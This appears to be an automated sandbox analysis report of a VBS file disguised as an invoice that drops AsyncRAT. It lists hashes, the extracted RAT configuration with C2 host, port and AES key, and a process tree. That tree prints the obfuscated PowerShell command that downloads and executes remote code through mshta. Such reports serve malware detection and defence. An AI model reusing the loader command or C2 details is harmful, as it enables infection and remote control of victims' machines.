Analysis
-
max time kernel
17s -
max time network
148s -
platform
windows10_x64 -
resource
win10v20201028 -
submitted
07-01-2021 07:57
Static task
static1
Behavioral task
behavioral1
Sample
invoice-ID3626307348012.vbs
Resource
win7v20201028
windows7_x64
0 signatures
0 seconds
General
-
Target
invoice-ID3626307348012.vbs
-
Size
324B
-
MD5
50f7355426061a1952f878e61e072d5e
-
SHA1
90156383d18b6851298d1c68f0cca24f6c7375fe
-
SHA256
a412a3bdf6e8891fa60734b53430db5d0ac8dce28a764fd013dd767614790c45
-
SHA512
959e8b1cc6eb2e4cf8670567f60aa496ae5af2920b40d8fa9e0705058f57e2e4a8dac029af55514c9a20d5fad4fdd951d676dcaecd33795964dee3ff0a3a5d06
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
https://www.minpic.de/k/bfqj/2ipze/
Extracted
Family
asyncrat
Version
0.5.7B
C2
saico015.linkpc.net:6666
Mutex
AsyncMutex_6SI8OkPnk
Attributes
-
aes_key
9FovObaHt9uwQBnog9MPOAzupINFTyW8
-
anti_detection
false
-
autorun
false
-
bdos
false
-
delay
Default
-
host
saico015.linkpc.net
-
hwid
3
- install_file
-
install_folder
%AppData%
-
mutex
AsyncMutex_6SI8OkPnk
-
pastebin_config
null
-
port
6666
-
version
0.5.7B
aes.plain
Signatures
-
Async RAT payload 2 IoCs
Processes:
resource yara_rule behavioral2/memory/1364-9-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat behavioral2/memory/1364-10-0x000000000040C73E-mapping.dmp asyncrat -
Blocklisted process makes network request 4 IoCs
Processes:
mshta.exepowershell.exeflow pid process 7 1896 mshta.exe 10 1896 mshta.exe 12 1896 mshta.exe 15 3304 powershell.exe -
Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepid process 3304 powershell.exe 3304 powershell.exe 3304 powershell.exe -
Suspicious use of AdjustPrivilegeToken 43 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 3304 powershell.exe Token: SeIncreaseQuotaPrivilege 3304 powershell.exe Token: SeSecurityPrivilege 3304 powershell.exe Token: SeTakeOwnershipPrivilege 3304 powershell.exe Token: SeLoadDriverPrivilege 3304 powershell.exe Token: SeSystemProfilePrivilege 3304 powershell.exe Token: SeSystemtimePrivilege 3304 powershell.exe Token: SeProfSingleProcessPrivilege 3304 powershell.exe Token: SeIncBasePriorityPrivilege 3304 powershell.exe Token: SeCreatePagefilePrivilege 3304 powershell.exe Token: SeBackupPrivilege 3304 powershell.exe Token: SeRestorePrivilege 3304 powershell.exe Token: SeShutdownPrivilege 3304 powershell.exe Token: SeDebugPrivilege 3304 powershell.exe Token: SeSystemEnvironmentPrivilege 3304 powershell.exe Token: SeRemoteShutdownPrivilege 3304 powershell.exe Token: SeUndockPrivilege 3304 powershell.exe Token: SeManageVolumePrivilege 3304 powershell.exe Token: 33 3304 powershell.exe Token: 34 3304 powershell.exe Token: 35 3304 powershell.exe Token: 36 3304 powershell.exe Token: SeIncreaseQuotaPrivilege 3304 powershell.exe Token: SeSecurityPrivilege 3304 powershell.exe Token: SeTakeOwnershipPrivilege 3304 powershell.exe Token: SeLoadDriverPrivilege 3304 powershell.exe Token: SeSystemProfilePrivilege 3304 powershell.exe Token: SeSystemtimePrivilege 3304 powershell.exe Token: SeProfSingleProcessPrivilege 3304 powershell.exe Token: SeIncBasePriorityPrivilege 3304 powershell.exe Token: SeCreatePagefilePrivilege 3304 powershell.exe Token: SeBackupPrivilege 3304 powershell.exe Token: SeRestorePrivilege 3304 powershell.exe Token: SeShutdownPrivilege 3304 powershell.exe Token: SeDebugPrivilege 3304 powershell.exe Token: SeSystemEnvironmentPrivilege 3304 powershell.exe Token: SeRemoteShutdownPrivilege 3304 powershell.exe Token: SeUndockPrivilege 3304 powershell.exe Token: SeManageVolumePrivilege 3304 powershell.exe Token: 33 3304 powershell.exe Token: 34 3304 powershell.exe Token: 35 3304 powershell.exe Token: 36 3304 powershell.exe -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WScript.exemshta.exedescription pid process target process PID 508 wrote to memory of 1896 508 WScript.exe mshta.exe PID 508 wrote to memory of 1896 508 WScript.exe mshta.exe PID 1896 wrote to memory of 3304 1896 mshta.exe powershell.exe PID 1896 wrote to memory of 3304 1896 mshta.exe powershell.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\invoice-ID3626307348012.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\mshta.exe"C:\Windows\System32\mshta.exe" https://www.minpic.de/k/bfqk/14x9vi/2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" I`EX ((n`e`W`-Obj`E`c`T (('Net'+'.'+'Webc'+'lient'))).(('D'+'o'+'w'+'n'+'l'+'o'+'a'+'d'+'s'+'tri'+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+''+'n'+'g')).InVokE((('https://www.minpic.de/k/bfqj/2ipze/'))))3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/1364-9-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/1364-10-0x000000000040C73E-mapping.dmp
-
memory/1364-11-0x00000000735C0000-0x0000000073CAE000-memory.dmpFilesize
6.9MB
-
memory/1896-2-0x0000000000000000-mapping.dmp
-
memory/3304-3-0x0000000000000000-mapping.dmp
-
memory/3304-4-0x00007FF9A48F0000-0x00007FF9A52DC000-memory.dmpFilesize
9.9MB
-
memory/3304-5-0x00000257EB7B0000-0x00000257EB7B1000-memory.dmpFilesize
4KB
-
memory/3304-6-0x00000257EB960000-0x00000257EB961000-memory.dmpFilesize
4KB
-
memory/3304-7-0x00000257EB8E0000-0x00000257EB8E7000-memory.dmpFilesize
28KB
-
memory/3304-8-0x00000257EB8F0000-0x00000257EB8F8000-memory.dmpFilesize
32KB